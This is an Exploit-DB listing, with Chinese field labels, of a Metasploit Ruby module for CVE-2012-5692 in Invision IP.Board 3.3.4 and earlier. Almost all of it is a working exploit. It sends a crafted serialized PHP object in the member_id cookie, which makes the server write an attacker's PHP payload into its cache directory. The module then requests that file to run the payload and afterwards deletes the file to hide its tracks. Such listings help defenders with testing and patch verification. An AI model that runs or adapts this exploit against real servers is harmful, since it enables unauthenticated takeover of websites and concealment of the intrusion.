标题: Invision Power Board (IP.Board) 3.3.4 - 'Unserialize()' PHP Code Execution (Metasploit) EDB-ID: 22686 CVE: 2012-5692 类型: REMOTE 平台: PHP 发布日期: 2012-11-13 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::PhpEXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution',
   'Description'    => %q{
     This module exploits a php unserialize() vulnerability in Invision IP.Board
    <= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary
    code under the context of the webserver user.

    The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,
    which is called with user controlled data from the cookie. The exploit abuses the
    __destruct() method from the dbMain class to write arbitrary PHP code to a file on
    the Invision IP.Board web directory.

    The exploit has been tested successfully on Invision IP.Board 3.3.4.
   },
   'Author' =>
    [
     'EgiX',         # Vulnerability discovery and PoC
     'juan vazquez', # Metasploit module
     'sinn3r'        # PhpEXE tekniq & check() method
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2012-5692' ],
     [ 'OSVDB', '86702' ],
     [ 'BID', '56288' ],
     [ 'EDB', '22398' ],
     [ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]
    ],
   'Privileged'     => false,
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Payload'        =>
    {
     'Space'       => 8000, #Apache's limit for GET
     'DisableNops' => true
    },
   'Targets'        => [ ['Invision IP.Board 3.3.4', {}] ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Oct 25 2012'
   ))

  register_options(
   [
    OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])
   ], self.class)
 end

 def base
  base = target_uri.path
  base << '/' if base[-1, 1] != '/'
  return base
 end

 def check
  res = send_request_raw({'uri'=>"#{base}index.php"})
  return Exploit::CheckCode::Unknown if not res

  version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
  version = version.map {|e| e.to_i}

  # We only want major version 3
  # This version checking is based on OSVDB's info
  return Exploit::CheckCode::Safe if version[0] != 3

  case version[1]
  when 1
   return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
  when 2
   return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
  when 3
   return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
  end

  return Exploit::CheckCode::Safe
 end

 def on_new_session(client)
  if client.type == "meterpreter"
   client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
   begin
    print_warning("#{@peer} - Deleting #{@upload_php}")
    client.fs.file.rm(@upload_php)
    print_good("#{@peer} - #{@upload_php} removed to stay ninja")
   rescue
    print_error("#{@peer} - Unable to remove #{f}")
   end
  end
 end

 def exploit
  @upload_php = rand_text_alpha(rand(4) + 4) + ".php"
  @peer = "#{rhost}:#{rport}"

  # get_write_exec_payload uses a function, which limits our ability to support
  # Linux payloads, because that requires a space:
  #   function my_cmd
  # becomes:
  #   functionmy_cmd #Causes parsing error
  # We'll have to address that in the mixin, and then come back to this module
  # again later.
  php_payload = get_write_exec_payload(:unlink_self=>true)
  php_payload = php_payload.gsub(/^\<\?php/, '<?')
  php_payload = php_payload.gsub(/ /,'')

  db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"

  print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")

  res = send_request_cgi(
  {
   'uri' => "#{base}index.php?#{php_payload}",
   'method' => 'GET',
   'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
  })

  if not res or res.code != 200
   print_error("#{@peer} - Exploit failed: #{res.code}")
   return
  end

  print_status("#{@peer} - Executing the payload #{@upload_php}")

  res = send_request_raw({'uri' => "#{base}cache/#{@upload_php}"})

  if res
   print_error("#{@peer} - Payload execution failed: #{res.code}")
   return
  end

 end
end URL: https://www.exploit-db.com/exploits/22686